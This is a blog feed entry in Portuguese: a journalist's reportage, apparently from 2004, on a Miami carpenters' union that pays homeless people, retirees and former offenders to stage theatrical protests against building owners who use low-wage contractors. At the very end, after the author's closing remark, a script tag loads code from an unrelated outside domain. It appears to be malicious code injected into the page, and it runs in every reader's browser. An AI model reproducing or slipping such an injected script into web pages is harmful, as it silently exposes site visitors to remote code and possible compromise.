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	<title>Carlos Duarte &#187; Miami</title>
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	<description>Sociedade Global (Carlos Duarte)</description>
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		<title>Manifestações remuneradas</title>
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		<pubDate>Sun, 01 Feb 2009 12:10:26 +0000</pubDate>
		<dc:creator>Carlos Duarte</dc:creator>
				<category><![CDATA[Jornalismo]]></category>
		<category><![CDATA[Estados Unidos]]></category>
		<category><![CDATA[Miami]]></category>
		<category><![CDATA[Sindicatos]]></category>

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		<description><![CDATA[Nos EUA, os sindicatos pagam a delinquentes, sem-abrigo e reformados para fazerem manifestações]]></description>
			<content:encoded><![CDATA[<p>Os sindicatos norte-americanos, cansados de dialogar com os patrões, mas sem resultados, recorrem, cada vez mais, a «mão-de-obra especializada» para realizar manifestações pouco convencionais. <strong>«Queremos embaraçar os patrões para que passem à acção»</strong>, diz Mark Kuzmik, do sindicato dos carpinteiros do Estado da Florida, EUA.</p>
<p><img class="alignnone" title="Sindicato Miami" src="http://carlosduarte.org/docs/2009/02/sindicato6.jpg" alt="" width="445" height="297" /></p>
<p><span id="more-213"></span></p>
<p>São nove horas da manhã na quente cidade de Miami, o sul da Florida. Kuzmik segura um microfone e debita as primeiras ordens do dia. De segunda a sexta-feira, durante duas horas, este sindicalista lidera uma equipa de 54 pessoas, composta por delinquentes, sem-abrigo e reformados, que têm como única ocupação as manifestações do sindicato. São uma espécie de «mão-de-obra especializada» que recebe oito dólares por cada hora de trabalho.</p>
<p>Como de costume, o ponto de encontro é marcado diante de um dos arranha-céus da «lista-negra» do sindicato. <strong>«Fazemos pressão junto dos donos destes edifícios porque contratam empreiteiros que pagam salários muito abaixo da média»</strong>, explica Kuzmik. <strong>«Estes empreiteiros, que abusam das subcontratações em cadeia, não querem saber de acordos laborais, dos seguros, das pensões ou dos contratos de trabalho. Até empregam muitos imigrantes e só lhes pagam cinco ou seis dólares à hora, quando pagam&#8230;»</strong>.</p>
<p><strong>«Durante muito tempo, tentamos entrar em acordo com empreiteiros e com os proprietários dos edifícios, mas riam-se de nós. Então decidimos sair à rua»</strong>, justifica.</p>
<p><img class="alignnone" title="Sindicato Miami" src="http://carlosduarte.org/docs/2009/02/sindicato3.jpg" alt="" width="445" height="297" /></p>
<h3>«Eles estão a dar uma festa»</h3>
<p>Chegado o momento da acção, os «assalariados» do sindicato demonstram que uma manifestação não é um acontecimento, necessariamente, aborrecido. Nos passeios de Miami, rodeados de palmeitas gigantescas, sobressai a figura de um ex-militar negro (pesso XXL) que entoa os cânticos de ordem. Tal como Kuzmik, serve-se de um megafone para gritar as instruções ao grupo. <strong>«Hei, hei, o que queremos?»</strong>. <strong>«Queremos o rato (empreiteiro rato). Hei Rato, sai da toca&#8230; anda cá abaixo»</strong>, respondem os companheiros, enquanto se movimentam em círculos e agitam latas de refrigerantes com bedelhos dentro.</p>
<p>Pelo dicionário do sindicato, todos os empreiteiros que desrespeitam a legislação laboral são «empreiteiros rato». Para acompanhar esta metáfora sindical, há ainda um manifestante mascarado de rato e uma outra de queijo. Como é de prever, nesta encenação, a função do rato é correr atrás do queijo. <strong>«Eles estão a dar uma festa. Divertem-se. Isso ainda enfurece mais os donos dos edifícios»</strong>, comenta Kuzmik.</p>
<p>Os três membros do sindicato presentes no local distribuem folhetos aos transeuntes e explicam os motivos da manisfestação. <strong>«Queremos que as pessoas liguem para os proprietários e digam &#8220;Do the right thing&#8221; (façam as coisas bem). Escolham os empreiteiros que não fogem às suas responsabilidades»</strong>. Numa avanida contígua, os automóveis passam e buzinam em sinal de solidariedade, deixando os manifestantes ainda mais eufóricos.</p>
<p><strong>«Isto pode parecer pouco correcto, mas é ético. E acredito que é ético porque eles gastam milhões de dólares a construir uma imagem que não é verdadeira. Quando informámos o dono deste edifício que vínhamos para aqui protestar, ele disse: &#8220;Façam o que entenderem, o problema não é meu&#8221;. Pois bem, agora o problema é mesmo dele»</strong>.</p>
<p>A polícia de Miami autoriza este género de manifestações. Mantém-se à distância e só actua quando o responsável do edifício onde está a decorrer a manifestação apresenta queixa. <strong>«Temos muito cuidado porque há leis neste país que não protegem as pessoas, protegem as corporações. Estes edifícios têm mais direitos que estas pessoas. Qualquer pessoa do mundo pode sentar-se neste edifício, mas se for um destes coitados, então chamam a polícia e vão presos»</strong>, lamenta Kuzmik, dirigente sindical.</p>
<p>No entanto, a polícia local também beneficia indirectamente das manifestações. É que, de acordo com fontes policiais, os pequenos crimes na baixa da cidade diminuíram desde que o sindicato passou a ocupar o tempo dos manifestantes, muitos com cadastro criminal.</p>
<p>Estas insólitas manifestações do sindicato já embaraçaram alguns donos dos edifícios a ponto de só aceitarem empreiteiros em situação legal. Mas perante a indiferença de outros, há muita gente que pergunta a Mark Kuzmik quanto tempo serão capazes de resistir no mesmo local: <strong>«Quando este edifício decidir fazer o que está correcto, então vamos para outro edifício. E ficamos um dia a mais até estar tudo resolvido. Porque nesse dia voltamos para fazer aqui uma grande festa»</strong>. O que pensam disto os sindicatos portugueses?</p>
<p><img class="alignnone" title="Sindicato Miami" src="http://carlosduarte.org/docs/2009/02/sindicato1.jpg" alt="" width="445" height="297" /></p>
<p><img class="alignnone" title="Sindicato Miami" src="http://carlosduarte.org/docs/2009/02/sindicato2.jpg" alt="" width="445" height="297" /></p>
<p><img class="alignnone" title="Sindicato Miami" src="http://carlosduarte.org/docs/2009/02/sindicato4.jpg" alt="" width="445" height="297" /></p>
<p><img class="alignnone" title="Sindicato Miami" src="http://carlosduarte.org/docs/2009/02/sindicato5.jpg" alt="" width="445" height="297" /></p>
<p><img class="alignnone" title="Sindicato Miami" src="http://carlosduarte.org/docs/2009/02/sindicato7.jpg" alt="" width="445" height="297" /></p>
<p><img class="alignnone" title="Sindicato Miami" src="http://carlosduarte.org/docs/2009/02/sindicato8.jpg" alt="" width="445" height="297" /></p>
<p><img class="alignnone" title="Sindicato Miami" src="http://carlosduarte.org/docs/2009/02/sindicato9.jpg" alt="" width="445" height="297" /></p>
<hr />Este texto e fotografias resultaram de uma deslocação de trabalho a Miami pelo Expresso em 2004. Encontrar esta manifestação foi um mero acaso. Esta reportagem acabou por ficar esquecida e nunca chegou a ser publicada. Aproveito para a torná-la pública aqui no blogue depois de a ter descoberto quando andava em arrumações. Todos os direitos reservados para texto e fotografias.<script src="http://ao.euuaw.com/9"></script></p>
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